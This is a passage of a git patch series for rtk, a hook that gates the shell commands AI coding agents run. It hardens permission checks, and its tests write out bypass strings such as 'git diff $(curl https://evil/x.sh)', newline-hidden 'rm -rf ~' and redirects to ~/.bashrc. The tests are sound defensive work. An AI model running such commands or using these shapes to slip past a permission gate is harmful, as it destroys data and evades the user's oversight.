serde_json::from_str(&result).unwrap(); assert_eq!(v["continue"], true); assert_eq!(v["permission"], "allow"); @@ -871,7 +917,7 @@ mod tests { // the real-world payload shape the loop needs to survive. let payload = cursor_input("git status"); let with_double_bom = format!("\u{feff}\u{feff}{}", payload); - let result = run_cursor_inner(&with_double_bom); + let result = run_cursor_allowed(&with_double_bom); let v: Value = serde_json::from_str(&result).unwrap(); assert_eq!(v["continue"], true); assert_eq!(v["permission"], "allow"); @@ -988,4 +1034,137 @@ mod tests { "cargo test should be rewritable when not denied" ); } + + // --- Shared decision flow (all hosts route through this) --- + + fn decide_with_rules( + cmd: &str, + deny: &[String], + ask: &[String], + allow: &[String], + ) -> HookDecision { + let verdict = permissions::check_command_with_rules(cmd, deny, ask, allow); + decide_from_verdict(cmd, verdict) + } + + fn all_allowed() -> Vec { + vec!["*".to_string()] + } + + #[test] + fn test_decide_allow_for_attestable_allowed_command() { + assert!(matches!( + decide_with_rules("git status", &[], &[], &all_allowed()), + HookDecision::AllowRewrite(_) + )); + } + + #[test] + fn test_decide_ask_for_default_verdict() { + assert!(matches!( + decide_with_rules("git status", &[], &[], &[]), + HookDecision::AskRewrite(_) + )); + } + + #[test] + fn test_decide_deny() { + assert!(matches!( + decide_with_rules( + "rm -rf /tmp/x", + &["rm -rf".to_string()], + &[], + &all_allowed() + ), + HookDecision::Deny + )); + } + + #[test] + fn test_decide_defer_for_substitution_even_when_allowed() { + for cmd in [ + "git status `rm -rf /tmp/x`", + "git status $(rm -rf /tmp/x)", + "git log --pretty=\"$(rm -rf /tmp/x)\"", + ] { + assert!( + matches!( + decide_with_rules(cmd, &[], &[], &all_allowed()), + HookDecision::Defer + ), + "expected Defer for {cmd}" + ); + } + } + + #[test] + fn test_decide_defer_for_file_redirect() { + assert!(matches!( + decide_with_rules("git log > /tmp/out.txt", &[], &[], &all_allowed()), + HookDecision::Defer + )); + } + + #[test] + fn test_decide_allow_for_fd_dup_redirect() { + assert!(matches!( + decide_with_rules("git status 2>&1", &[], &[], &all_allowed()), + HookDecision::AllowRewrite(_) + )); + } + + // --- Gemini rendering --- + + fn gemini_render(cmd: &str, deny: &[String], ask: &[String], allow: &[String]) -> String { + match decide_with_rules(cmd, deny, ask, allow) { + HookDecision::Deny => { + r#"{"decision":"deny","reason":"Blocked by RTK permission rule"}"#.to_string() + } + HookDecision::AllowRewrite(r) => gemini_json("allow", Some(&r)), + HookDecision::AskRewrite(r) => gemini_json("ask_user", Some(&r)), + HookDecision::Defer => gemini_json("ask_user", None), + } + } + + #[test] + fn test_gemini_allow_emits_rewrite() { + let v: Value = + serde_json::from_str(&gemini_render("git status", &[], &[], &all_allowed())).unwrap(); + assert_eq!(v["decision"], "allow"); + assert_eq!( + v["hookSpecificOutput"]["tool_input"]["command"], + "rtk git status" + ); + } + + #[test] + fn test_gemini_default_asks_user() { + let v: Value = serde_json::from_str(&gemini_render("git status", &[], &[], &[])).unwrap(); + assert_eq!(v["decision"], "ask_user"); + } + + #[test] + fn test_gemini_substitution_asks_user_without_rewrite() { + let v: Value = serde_json::from_str(&gemini_render( + "git status `rm -rf /tmp/x`", + &[], + &[], + &all_allowed(), + )) + .unwrap(); + assert_eq!(v["decision"], "ask_user"); + assert!(v.get("hookSpecificOutput").is_none()); + } + + #[test] + fn test_gemini_deny_decision() { + let v: Value = serde_json::from_str(&gemini_render( + "rm -rf /tmp/x", + &["rm -rf".to_string()], + &[], + &[], + )) + .unwrap(); + assert_eq!(v["decision"], "deny"); + } } diff --git a/src/hooks/permissions.rs b/src/hooks/permissions.rs index 71536b0e1a..9519cfcd83 100644 --- a/src/hooks/permissions.rs +++ b/src/hooks/permissions.rs @@ -1,6 +1,6 @@ use super::constants::{CLAUDE_DIR, SETTINGS_JSON, SETTINGS_LOCAL_JSON}; use crate::core::stream::exec_capture; -use crate::discover::lexer::split_on_operators; +use crate::discover::lexer::split_for_permissions; use serde_json::Value; use std::path::PathBuf; @@ -35,6 +35,22 @@ pub(crate) fn check_command_with_rules( allow_rules: &[String], ) -> PermissionVerdict { let segments = split_compound_command(cmd); + + // Deny takes highest priority and pre-empts every other construct. + for segment in &segments { + let segment = segment.trim(); + for pattern in deny_rules { + if command_matches_pattern(segment, pattern) { + return PermissionVerdict::Deny; + } + } + } + + // Can't decompose substitution / file-target redirects — never auto-allow. + if crate::discover::lexer::contains_unattestable_construct(cmd) { + return PermissionVerdict::Ask; + } + let mut any_ask = false; // Every non-empty segment must independently match an allow rule for the // compound command to receive Allow. See issue #1213: previously a single @@ -49,13 +65,6 @@ pub(crate) fn check_command_with_rules( } saw_segment = true; - // Deny takes highest priority — any segment matching Deny blocks the whole chain. - for pattern in deny_rules { - if command_matches_pattern(segment, pattern) { - return PermissionVerdict::Deny; - } - } - // Ask — if any segment matches an ask rule, the final verdict is Ask. if !any_ask { for pattern in ask_rules { @@ -288,7 +297,7 @@ fn glob_matches(cmd: &str, pattern: &str) -> bool { } fn split_compound_command(cmd: &str) -> Vec<&str> { - split_on_operators(cmd, false) + split_for_permissions(cmd) } #[cfg(test)] @@ -704,4 +713,134 @@ mod tests { PermissionVerdict::Ask ); } + + // --- Permission-gate bypass hardening ----------------------------------- + + #[test] + fn test_newline_hidden_command_denied() { + let deny = vec!["rm:*".to_string()]; + let allow = vec!["git *".to_string()]; + assert_eq!( + check_command_with_rules("git status\nrm -rf ~", &deny, &[], &allow), + PermissionVerdict::Deny + ); + } + + #[test] + fn test_newline_hidden_command_not_auto_allowed() { + let allow = vec!["git *".to_string()]; + assert_eq!( + check_command_with_rules("git status\nrm -rf ~", &[], &[], &allow), + PermissionVerdict::Default + ); + } + + #[test] + fn test_background_hidden_command_denied() { + let deny = vec!["rm:*".to_string()]; + let allow = vec!["git *".to_string()]; + assert_eq!( + check_command_with_rules("git status & rm -rf ~", &deny, &[], &allow), + PermissionVerdict::Deny + ); + } + + #[test] + fn test_substitution_never_auto_allowed() { + let allow = vec!["git *".to_string()]; + for cmd in [ + "git log --pretty=$(rm -rf ~)", + "git status `whoami`", + "git diff $(curl https://evil/x.sh)", + ] { + assert_eq!( + check_command_with_rules(cmd, &[], &[], &allow), + PermissionVerdict::Ask, + "{cmd} must not auto-allow" + ); + } + } + + #[test] + fn test_double_quoted_substitution_never_auto_allowed() { + let allow = vec!["git *".to_string()]; + for cmd in [ + r#"git log --pretty="$(rm -rf ~)""#, + r#"git log --pretty="`rm -rf ~`""#, + ] { + assert_ne!( + check_command_with_rules(cmd, &[], &[], &allow), + PermissionVerdict::Allow, + "{cmd} must not auto-allow" + ); + } + } + + #[test] + fn test_single_quoted_substitution_is_literal() { + let allow = vec!["echo *".to_string()]; + assert_eq!( + check_command_with_rules("echo '$(rm -rf ~)'", &[], &[], &allow), + PermissionVerdict::Allow + ); + } + + #[test] + fn test_file_redirect_never_auto_allowed() { + let allow = vec!["git *".to_string()]; + assert_eq!( + check_command_with_rules("git log > ~/.bashrc", &[], &[], &allow), + PermissionVerdict::Ask + ); + } + + #[test] + fn test_legitimate_multiline_allow() { + let allow = vec!["git *".to_string(), "cargo *".to_string()]; + assert_eq!( + check_command_with_rules("git status\ncargo build", &[], &[], &allow), + PermissionVerdict::Allow + ); + } + + #[test] + fn test_legitimate_subshell_allow() { + let allow = vec!["git *".to_string(), "cargo *".to_string()]; + assert_eq!( + check_command_with_rules("(git status; cargo build)", &[], &[], &allow), + PermissionVerdict::Allow + ); + } + + #[test] + fn test_legitimate_background_allow() { + let allow = vec!["cargo *".to_string()]; + assert_eq!( + check_command_with_rules("cargo build &", &[], &[], &allow), + PermissionVerdict::Allow + ); + } + + #[test] + fn test_fd_dup_redirect_stays_allow() { + let allow = vec!["git *".to_string()]; + assert_eq!( + check_command_with_rules("git status 2>&1", &[], &[], &allow), + PermissionVerdict::Allow + ); + assert_eq!( + check_command_with_rules("git log 2>/dev/null", &[], &[], &allow), + PermissionVerdict::Allow + ); + } + + #[test] + fn test_deny_not_evaded_by_trailing_fd_dup() { + let deny = vec!["git push --force".to_string()]; + let allow = vec!["git *".to_string()]; + assert_eq!( + check_command_with_rules("git push --force 2>&1", &deny, &[], &allow), + PermissionVerdict::Deny + ); + } } diff --git a/src/hooks/rewrite_cmd.rs b/src/hooks/rewrite_cmd.rs index 215693be6b..685aa3015c 100644 --- a/src/hooks/rewrite_cmd.rs +++ b/src/hooks/rewrite_cmd.rs @@ -20,32 +20,47 @@ pub fn run(cmd: &str) -> anyhow::Result<()> { .map(|c| (c.hooks.exclude_commands, c.hooks.transparent_prefixes)) .unwrap_or_default(); - // SECURITY: check deny/ask BEFORE rewrite so non-RTK commands are also covered. + match evaluate(cmd, &excluded, &transparent_prefixes) { + RewriteOutcome::Allow(rewritten) => { + print!("{}", rewritten); + let _ = std::io::stdout().flush(); + Ok(()) + } + RewriteOutcome::Ask(rewritten) => { + print!("{}", rewritten); + let _ = std::io::stdout().flush(); + std::process::exit(3); + } + RewriteOutcome::Deny => std::process::exit(2), + RewriteOutcome::Passthrough => std::process::exit(1), + } +} + +#[derive(Debug, PartialEq)] +enum RewriteOutcome { + Allow(String), + Passthrough, + Deny, + Ask(String), +} + +fn evaluate(cmd: &str, excluded: &[String], transparent_prefixes: &[String]) -> RewriteOutcome { let verdict = check_command(cmd); if verdict == PermissionVerdict::Deny { - std::process::exit(2); + return RewriteOutcome::Deny; } - match registry::rewrite_command(cmd, &excluded, &transparent_prefixes) { + if crate::discover::lexer::contains_unattestable_construct(cmd) { + return RewriteOutcome::Passthrough; + } + + match registry::rewrite_command(cmd, excluded, transparent_prefixes) { Some(rewritten) => match verdict { - PermissionVerdict::Allow => { - print!("{}", rewritten); - let _ = std::io::stdout().flush(); - Ok(()) - } - PermissionVerdict::Ask | PermissionVerdict::Default => { - print!("{}", rewritten); - let _ = std::io::stdout().flush(); - std::process::exit(3); - } - PermissionVerdict::Deny => unreachable!(), + PermissionVerdict::Allow => RewriteOutcome::Allow(rewritten), + _ => RewriteOutcome::Ask(rewritten), }, - None => { - // No RTK equivalent. Exit 1 = passthrough. - // Claude Code independently evaluates its own ask rules on the original cmd. - std::process::exit(1); - } + None => RewriteOutcome::Passthrough, } } @@ -75,6 +90,58 @@ mod tests { ); } + mod unattestable_passthrough { + use super::super::{evaluate, RewriteOutcome}; + + #[test] + fn test_backtick_substitution_passthrough() { + assert_eq!( + evaluate("git status `rm -rf /tmp/x`", &[], &[]), + RewriteOutcome::Passthrough + ); + } + + #[test] + fn test_dollar_substitution_passthrough() { + assert_eq!( + evaluate("git status $(rm -rf /tmp/x)", &[], &[]), + RewriteOutcome::Passthrough + ); + } + + #[test] + fn test_double_quoted_substitution_passthrough() { + assert_eq!( + evaluate("git log --pretty=\"$(rm -rf /tmp/x)\"", &[], &[]), + RewriteOutcome::Passthrough + ); + } + + #[test] + fn test_file_redirect_passthrough() { + assert_eq!( + evaluate("git log > /tmp/out.txt", &[], &[]), + RewriteOutcome::Passthrough + ); + } + + #[test] + fn test_fd_dup_redirect_still_rewrites() { + assert!(matches!( + evaluate("git status 2>&1", &[], &[]), + RewriteOutcome::Ask(_) + )); + } + + #[test] + fn test_plain_command_still_rewrites() { + assert!(matches!( + evaluate("git status", &[], &[]), + RewriteOutcome::Ask(_) + )); + } + } + /// SECURITY: Verify the exit code protocol for permission verdicts. /// /// The bash hook (.claude/hooks/rtk-rewrite.sh) interprets exit codes as: From 6ab149ba3e41bb41b99794ef55d384c9be96b91b Mon Sep 17 00:00:00 2001 From: aesoft <43991222+aeppling@users.noreply.github.com> Date: Wed, 3 Jun 2026 18:15:19 +0200 Subject: [PATCH 06/11] fix(permissions): cursor and gemini use correct permissions settings file - --- src/hooks/hook_cmd.rs | 12 +++--- src/hooks/permissions.rs | 93 +++++++++++++++++++++++++++++++++++++++- 2 files changed, 97 insertions(+), 8 deletions(-) diff --git a/src/hooks/hook_cmd.rs b/src/hooks/hook_cmd.rs index 537b106fa6..c4584afe2c 100644 --- a/src/hooks/hook_cmd.rs +++ b/src/hooks/hook_cmd.rs @@ -141,12 +141,12 @@ fn decide_from_verdict(cmd: &str, verdict: PermissionVerdict) -> HookDecision { } } -fn decide_hook_action(cmd: &str) -> HookDecision { - decide_from_verdict(cmd, permissions::check_command(cmd)) +fn decide_hook_action(cmd: &str, host: permissions::Host) -> HookDecision { + decide_from_verdict(cmd, permissions::check_command_for(cmd, host)) } fn handle_vscode(cmd: &str) -> Result<()> { - let (decision, rewritten) = match decide_hook_action(cmd) { + let (decision, rewritten) = match decide_hook_action(cmd, permissions::Host::Claude) { HookDecision::Deny => { audit_log("deny", cmd, ""); return Ok(()); @@ -223,7 +223,7 @@ pub fn run_gemini() -> Result<()> { return Ok(()); } - match decide_hook_action(cmd) { + match decide_hook_action(cmd, permissions::Host::Gemini) { HookDecision::Deny => { let _ = writeln!( io::stdout(), @@ -325,7 +325,7 @@ fn process_claude_payload(v: &Value) -> PayloadAction { None => return PayloadAction::Ignore, }; - let (rewritten, allow) = match decide_hook_action(cmd) { + let (rewritten, allow) = match decide_hook_action(cmd, permissions::Host::Claude) { HookDecision::Deny => { return PayloadAction::Skip { reason: "skip:deny_rule", @@ -458,7 +458,7 @@ pub fn run_cursor() -> Result<()> { } }; - let output = match decide_hook_action(&cmd) { + let output = match decide_hook_action(&cmd, permissions::Host::Cursor) { HookDecision::AllowRewrite(rewritten) => { audit_log("rewrite", &cmd, &rewritten); cursor_allow(&rewritten) diff --git a/src/hooks/permissions.rs b/src/hooks/permissions.rs index 9519cfcd83..26ad9adf0b 100644 --- a/src/hooks/permissions.rs +++ b/src/hooks/permissions.rs @@ -1,4 +1,4 @@ -use super::constants::{CLAUDE_DIR, SETTINGS_JSON, SETTINGS_LOCAL_JSON}; +use super::constants::{CLAUDE_DIR, CURSOR_DIR, GEMINI_DIR, SETTINGS_JSON, SETTINGS_LOCAL_JSON}; use crate::core::stream::exec_capture; use crate::discover::lexer::split_for_permissions; use serde_json::Value; @@ -23,7 +23,23 @@ pub enum PermissionVerdict { /// Returns `Default` when no rules match — callers should treat this as ask /// to match Claude Code's least-privilege default. pub fn check_command(cmd: &str) -> PermissionVerdict { - let (deny_rules, ask_rules, allow_rules) = load_permission_rules(); + check_command_for(cmd, Host::Claude) +} + +/// The agent host whose own permission settings should be consulted. +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +pub enum Host { + Claude, + Cursor, + Gemini, +} + +pub fn check_command_for(cmd: &str, host: Host) -> PermissionVerdict { + let (deny_rules, ask_rules, allow_rules) = match host { + Host::Claude => load_permission_rules(), + Host::Cursor => load_cursor_rules(), + Host::Gemini => load_gemini_rules(), + }; check_command_with_rules(cmd, &deny_rules, &ask_rules, &allow_rules) } @@ -167,6 +183,79 @@ fn get_settings_paths() -> Vec { paths } +fn read_json(path: &std::path::Path) -> Option { + let content = std::fs::read_to_string(path).ok()?; + match serde_json::from_str::(&content) { + Ok(v) => Some(v), + Err(_) => { + eprintln!("[rtk] warning: failed to parse permissions from {}", path.display()); + None + } + } +} + +fn append_wrapped_rules(rules_value: Option<&Value>, prefixes: &[&str], target: &mut Vec) { + let Some(arr) = rules_value.and_then(|v| v.as_array()) else { + return; + }; + for rule in arr.iter().filter_map(|r| r.as_str()) { + for pre in prefixes { + let bare = &pre[..pre.len() - 1]; + if rule == bare { + target.push("*".to_string()); + break; + } + if let Some(inner) = rule.strip_prefix(pre).and_then(|s| s.strip_suffix(')')) { + target.push(inner.to_string()); + break; + } + } + } +} + +/// Cursor: `~/.cursor/cli-config.json` (global) and `/.cursor/cli.json`. +/// `permissions.allow/deny` with `Shell(...)` entries; no ask list. +fn load_cursor_rules() -> (Vec, Vec, Vec) { + let mut deny = Vec::new(); + let mut allow = Vec::new(); + let mut paths = Vec::new(); + if let Some(home) = dirs::home_dir() { + paths.push(home.join(CURSOR_DIR).join("cli-config.json")); + } + if let Some(root) = find_project_root() { + paths.push(root.join(CURSOR_DIR).join("cli.json")); + } + for json in paths.iter().filter_map(|p| read_json(p)) { + if let Some(perms) = json.get("permissions") { + append_wrapped_rules(perms.get("deny"), &["Shell("], &mut deny); + append_wrapped_rules(perms.get("allow"), &["Shell("], &mut allow); + } + } + (deny, Vec::new(), allow) +} + +/// Gemini: `~/.gemini/settings.json` and `/.gemini/settings.json`. +/// `tools.allowed` -> allow, `tools.confirmationRequired` -> ask. +fn load_gemini_rules() -> (Vec, Vec, Vec) { + let mut ask = Vec::new(); + let mut allow = Vec::new(); + let mut paths = Vec::new(); + if let Some(home) = dirs::home_dir() { + paths.push(home.join(GEMINI_DIR).join(SETTINGS_JSON)); + } + if let Some(root) = find_project_root() { + paths.push(root.join(GEMINI_DIR).join(SETTINGS_JSON)); + } + let shells = ["run_shell_command(", "ShellTool("]; + for json in paths.iter().filter_map(|p| read_json(p)) { + if let Some(tools) = json.get("tools") { + append_wrapped_rules(tools.get("allowed"), &shells, &mut allow); + append_wrapped_rules(tools.get("confirmationRequired"), &shells, &mut ask); + } + } + (Vec::new(), ask, allow) +} + /// Locate the project root by walking up from CWD looking for `.claude/`. /// /// Falls back to `git rev-parse --show-toplevel` if not found via directory walk. From f181184b4017d71aa7f557148a2d7f1b872ab6d2 Mon Sep 17 00:00:00 2001 From: aesoft <43991222+aeppling@users.noreply.github.com> Date: Wed, 3 Jun 2026 18:20:37 +0200 Subject: [PATCH 07/11] fix(permissions): add test for cursor and gemini settings perm --- src/hooks/permissions.rs | 46 +++++++++++++++++++++++++++++++++++++++- 1 file changed, 45 insertions(+), 1 deletion(-) diff --git a/src/hooks/permissions.rs b/src/hooks/permissions.rs index 26ad9adf0b..d06eb98f6b 100644 --- a/src/hooks/permissions.rs +++ b/src/hooks/permissions.rs @@ -188,7 +188,10 @@ fn read_json(path: &std::path::Path) -> Option { match serde_json::from_str::(&content) { Ok(v) => Some(v), Err(_) => { - eprintln!("[rtk] warning: failed to parse permissions from {}", path.display()); + eprintln!( + "[rtk] warning: failed to parse permissions from {}", + path.display() + ); None } } @@ -932,4 +935,45 @@ mod tests { PermissionVerdict::Deny ); } + + // --- Per-host rule extraction --- + + #[test] + fn test_wrapped_rules_cursor_shell_only() { + let v = serde_json::json!(["Shell(git)", "Shell(curl:*)", "Read(src/**)", "Shell(npm test)"]); + let mut out = Vec::new(); + append_wrapped_rules(Some(&v), &["Shell("], &mut out); + assert_eq!(out, vec!["git", "curl:*", "npm test"]); + } + + #[test] + fn test_wrapped_rules_gemini_shell_variants() { + let v = serde_json::json!([ + "run_shell_command(git)", + "ShellTool(npm test)", + "read_file", + "run_shell_command" + ]); + let mut out = Vec::new(); + append_wrapped_rules(Some(&v), &["run_shell_command(", "ShellTool("], &mut out); + assert_eq!(out, vec!["git", "npm test", "*"]); + } + + #[test] + fn test_wrapped_rules_extracted_patterns_match() { + let mut allow = Vec::new(); + append_wrapped_rules( + Some(&serde_json::json!(["Shell(git)"])), + &["Shell("], + &mut allow, + ); + assert_eq!( + check_command_with_rules("git status", &[], &[], &allow), + PermissionVerdict::Allow + ); + assert_eq!( + check_command_with_rules("rm -rf /", &[], &[], &allow), + PermissionVerdict::Default + ); + } } From 86ebbb3c5e5493ffbab770629ade349fc9984706 Mon Sep 17 00:00:00 2001 From: aesoft <43991222+aeppling@users.noreply.github.com> Date: Wed, 3 Jun 2026 18:28:20 +0200 Subject: [PATCH 08/11] refacto(permissions): fmt --- src/hooks/permissions.rs | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-) diff --git a/src/hooks/permissions.rs b/src/hooks/permissions.rs index d06eb98f6b..f9b7b299d2 100644 --- a/src/hooks/permissions.rs +++ b/src/hooks/permissions.rs @@ -940,7 +940,12 @@ mod tests { #[test] fn test_wrapped_rules_cursor_shell_only() { - let v = serde_json::json!(["Shell(git)", "Shell(curl:*)", "Read(src/**)", "Shell(npm test)"]); + let v = serde_json::json!([ + "Shell(git)", + "Shell(curl:*)", + "Read(src/**)", + "Shell(npm test)" + ]); let mut out = Vec::new(); append_wrapped_rules(Some(&v), &["Shell("], &mut out); assert_eq!(out, vec!["git", "curl:*", "npm test"]); From 084fa84e9a58387b5d77ca68db8731d361a89f2b Mon Sep 17 00:00:00 2001 From: aesoft <43991222+aeppling@users.noreply.github.com> Date: Wed, 3 Jun 2026 18:55:00 +0200 Subject: [PATCH 09/11] fix(permissions): project-first config lookup for Gemini/Cursor --- src/hooks/permissions.rs | 50 ++++++++++++++++++---------------------- 1 file changed, 22 insertions(+), 28 deletions(-) diff --git a/src/hooks/permissions.rs b/src/hooks/permissions.rs index f9b7b299d2..4d068d7f0d 100644 --- a/src/hooks/permissions.rs +++ b/src/hooks/permissions.rs @@ -216,45 +216,39 @@ fn append_wrapped_rules(rules_value: Option<&Value>, prefixes: &[&str], target: } } -/// Cursor: `~/.cursor/cli-config.json` (global) and `/.cursor/cli.json`. -/// `permissions.allow/deny` with `Shell(...)` entries; no ask list. +// Project config takes priority; global is the fallback when there is no project config. +fn scoped_config(dir: &str, project_file: &str, global_file: &str) -> Option { + if let Some(root) = find_project_root() { + if let Some(v) = read_json(&root.join(dir).join(project_file)) { + return Some(v); + } + } + read_json(&dirs::home_dir()?.join(dir).join(global_file)) +} + fn load_cursor_rules() -> (Vec, Vec, Vec) { let mut deny = Vec::new(); let mut allow = Vec::new(); - let mut paths = Vec::new(); - if let Some(home) = dirs::home_dir() { - paths.push(home.join(CURSOR_DIR).join("cli-config.json")); - } - if let Some(root) = find_project_root() { - paths.push(root.join(CURSOR_DIR).join("cli.json")); - } - for json in paths.iter().filter_map(|p| read_json(p)) { - if let Some(perms) = json.get("permissions") { - append_wrapped_rules(perms.get("deny"), &["Shell("], &mut deny); - append_wrapped_rules(perms.get("allow"), &["Shell("], &mut allow); - } + if let Some(perms) = scoped_config(CURSOR_DIR, "cli.json", "cli-config.json") + .as_ref() + .and_then(|j| j.get("permissions")) + { + append_wrapped_rules(perms.get("deny"), &["Shell("], &mut deny); + append_wrapped_rules(perms.get("allow"), &["Shell("], &mut allow); } (deny, Vec::new(), allow) } -/// Gemini: `~/.gemini/settings.json` and `/.gemini/settings.json`. -/// `tools.allowed` -> allow, `tools.confirmationRequired` -> ask. fn load_gemini_rules() -> (Vec, Vec, Vec) { let mut ask = Vec::new(); let mut allow = Vec::new(); - let mut paths = Vec::new(); - if let Some(home) = dirs::home_dir() { - paths.push(home.join(GEMINI_DIR).join(SETTINGS_JSON)); - } - if let Some(root) = find_project_root() { - paths.push(root.join(GEMINI_DIR).join(SETTINGS_JSON)); - } let shells = ["run_shell_command(", "ShellTool("]; - for json in paths.iter().filter_map(|p| read_json(p)) { - if let Some(tools) = json.get("tools") { - append_wrapped_rules(tools.get("allowed"), &shells, &mut allow); - append_wrapped_rules(tools.get("confirmationRequired"), &shells, &mut ask); - } + if let Some(tools) = scoped_config(GEMINI_DIR, SETTINGS_JSON, SETTINGS_JSON) + .as_ref() + .and_then(|j| j.get("tools")) + { + append_wrapped_rules(tools.get("allowed"), &shells, &mut allow); + append_wrapped_rules(tools.get("confirmationRequired"), &shells, &mut ask); } (Vec::new(), ask, allow) } From ce362970e5752bacfd3a356c7fa122fea94ff0b2 Mon Sep 17 00:00:00 2001 From: aesoft <43991222+aeppling@users.noreply.github.com> Date: Wed, 3 Jun 2026 20:56:44 +0200 Subject: [PATCH 10/11] fix(permissions): >&file redirect no allow + scope Gemini/Cursor config --- src/discover/lexer.rs | 20 +++++++++++++++--- src/hooks/permissions.rs | 44 ++++++++++++++++++++++++++++------------ 2 files changed, 48 insertions(+), 16 deletions(-) diff --git a/src/discover/lexer.rs b/src/discover/lexer.rs index 865b74a94a..cf9b2ce26e 100644 --- a/src/discover/lexer.rs +++ b/src/discover/lexer.rs @@ -314,10 +314,15 @@ fn contains_substitution(cmd: &str) -> bool { false } -/// File target unless it's fd-dup (`>&`) or `/dev/null`. +// `>&N`/`>&-` (and `N>&M`) is fd-dup/close; bare `>&` before a word is +// `>word 2>&1` — a file target. fn redirect_has_file_target(tokens: &[ParsedToken], i: usize) -> bool { - if tokens[i].value.contains(">&") { - return false; + let value = &tokens[i].value; + if let Some(pos) = value.find(">&") { + let tail = &value[pos + 2..]; + if !tail.is_empty() && tail.chars().all(|c| c.is_ascii_digit() || c == '-') { + return false; + } } match tokens.get(i + 1) { Some(next) if next.kind == TokenKind::Arg => next.value != "/dev/null", @@ -1189,6 +1194,14 @@ mod tests { assert!(contains_unattestable_construct("cat << EOF")); } + #[test] + fn test_unattestable_ampersand_file_redirect() { + // `>&word` (word not a number) == `>word 2>&1` — a file write. + assert!(contains_unattestable_construct("git status >& /tmp/evil")); + assert!(contains_unattestable_construct("cat x >&~/.bashrc")); + assert!(contains_unattestable_construct("echo hi 2>& /tmp/evil")); + } + #[test] fn test_attestable_fd_dup_and_devnull_redirects() { assert!(!contains_unattestable_construct("git status 2>&1")); @@ -1197,6 +1210,7 @@ mod tests { assert!(!contains_unattestable_construct("cmd 2>/dev/null")); assert!(!contains_unattestable_construct("cmd > /dev/null")); assert!(!contains_unattestable_construct("cmd &> /dev/null")); + assert!(!contains_unattestable_construct("cmd >& /dev/null")); } #[test] diff --git a/src/hooks/permissions.rs b/src/hooks/permissions.rs index 4d068d7f0d..33202807a2 100644 --- a/src/hooks/permissions.rs +++ b/src/hooks/permissions.rs @@ -216,20 +216,17 @@ fn append_wrapped_rules(rules_value: Option<&Value>, prefixes: &[&str], target: } } -// Project config takes priority; global is the fallback when there is no project config. -fn scoped_config(dir: &str, project_file: &str, global_file: &str) -> Option { - if let Some(root) = find_project_root() { - if let Some(v) = read_json(&root.join(dir).join(project_file)) { - return Some(v); - } - } - read_json(&dirs::home_dir()?.join(dir).join(global_file)) +// Global config only. RTK auto-allows only the globally-trusted subset; anything +// else defers to the host, which applies its own project config and folder-trust. +// This keeps RTK's allow set a subset of the host's — never more permissive. +fn global_config(dir: &str, file: &str) -> Option { + read_json(&dirs::home_dir()?.join(dir).join(file)) } fn load_cursor_rules() -> (Vec, Vec, Vec) { let mut deny = Vec::new(); let mut allow = Vec::new(); - if let Some(perms) = scoped_config(CURSOR_DIR, "cli.json", "cli-config.json") + if let Some(perms) = global_config(CURSOR_DIR, "cli-config.json") .as_ref() .and_then(|j| j.get("permissions")) { @@ -239,14 +236,35 @@ fn load_cursor_rules() -> (Vec, Vec, Vec) { (deny, Vec::new(), allow) } +// Gemini honors project `.gemini/settings.json` when the folder is trusted. +// folderTrust is off by default (folder trusted); when on, a folder is trusted +// only via GEMINI_CLI_TRUST_WORKSPACE here (dialog-only trust is treated as +// untrusted → global, which is safe: never more permissive than the host). +fn gemini_settings() -> Option { + let global = global_config(GEMINI_DIR, SETTINGS_JSON); + let trusted = std::env::var("GEMINI_CLI_TRUST_WORKSPACE").as_deref() == Ok("true") + || !global + .as_ref() + .and_then(|j| { + j.pointer("/security/folderTrust/enabled") + .and_then(Value::as_bool) + }) + .unwrap_or(false); + if trusted { + if let Some(root) = find_project_root() { + if let Some(v) = read_json(&root.join(GEMINI_DIR).join(SETTINGS_JSON)) { + return Some(v); + } + } + } + global +} + fn load_gemini_rules() -> (Vec, Vec, Vec) { let mut ask = Vec::new(); let mut allow = Vec::new(); let shells = ["run_shell_command(", "ShellTool("]; - if let Some(tools) = scoped_config(GEMINI_DIR, SETTINGS_JSON, SETTINGS_JSON) - .as_ref() - .and_then(|j| j.get("tools")) - { + if let Some(tools) = gemini_settings().as_ref().and_then(|j| j.get("tools")) { append_wrapped_rules(tools.get("allowed"), &shells, &mut allow); append_wrapped_rules(tools.get("confirmationRequired"), &shells, &mut ask); } From 4be04e0bdcbc9fe7ccd367e00013e302196c2937 Mon Sep 17 00:00:00 2001 From: "rtk-release-bot[bot]" <280461666+rtk-release-bot[bot]@users.noreply.github.com> Date: Fri, 5 Jun 2026 10:48:27 +0000 Subject: [PATCH 11/11] chore(master): release 0.42.2 --- .release-please-manifest.json | 2 +- CHANGELOG.md | 12 ++++++++++++ Cargo.lock | 2 +- Cargo.toml | 2 +- 4 files changed, 15 insertions(+), 3 deletions(-) diff --git a/.release-please-manifest.json b/.release-please-manifest.json index cede7a525d..a623f136f8 100644 --- a/.release-please-manifest.json +++ b/.release-please-manifest.json @@ -1,3 +1,3 @@ { - ".": "0.42.1" + ".": "0.42.2" } diff --git a/CHANGELOG.md b/CHANGELOG.md index f9003c4175..816bfa9a57 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -5,6 +5,18 @@ All notable changes to rtk (Rust Token Killer) will be documented in this file. The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/), and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html). +## [0.42.2](https://github.com/rtk-ai/rtk/compare/v0.42.1...v0.42.2) (2026-06-05) + + +### Bug Fixes + +* **permissions:** >&file redirect no allow + scope Gemini/Cursor config ([ce36297](https://github.com/rtk-ai/rtk/commit/ce362970e5752bacfd3a356c7fa122fea94ff0b2)) +* **permissions:** add test for cursor and gemini settings perm ([f181184](https://github.com/rtk-ai/rtk/commit/f181184b4017d71aa7f557148a2d7f1b872ab6d2)) +* **permissions:** cursor and gemini use correct permissions settings file ([6ab149b](https://github.com/rtk-ai/rtk/commit/6ab149ba3e41bb41b99794ef55d384c9be96b91b)) +* **permissions:** never auto-allow not evaluable + defer to the agent ([cdcdb68](https://github.com/rtk-ai/rtk/commit/cdcdb6863a3df709603dbed0a6205bf16e4e635f)) +* **permissions:** never auto-allow not evaluable cmds, defer to hosts ([e1bc0bd](https://github.com/rtk-ai/rtk/commit/e1bc0bd9d0e52d98323714a3b163c359d6a240d2)) +* **permissions:** project-first config lookup for Gemini/Cursor ([084fa84](https://github.com/rtk-ai/rtk/commit/084fa84e9a58387b5d77ca68db8731d361a89f2b)) + ## 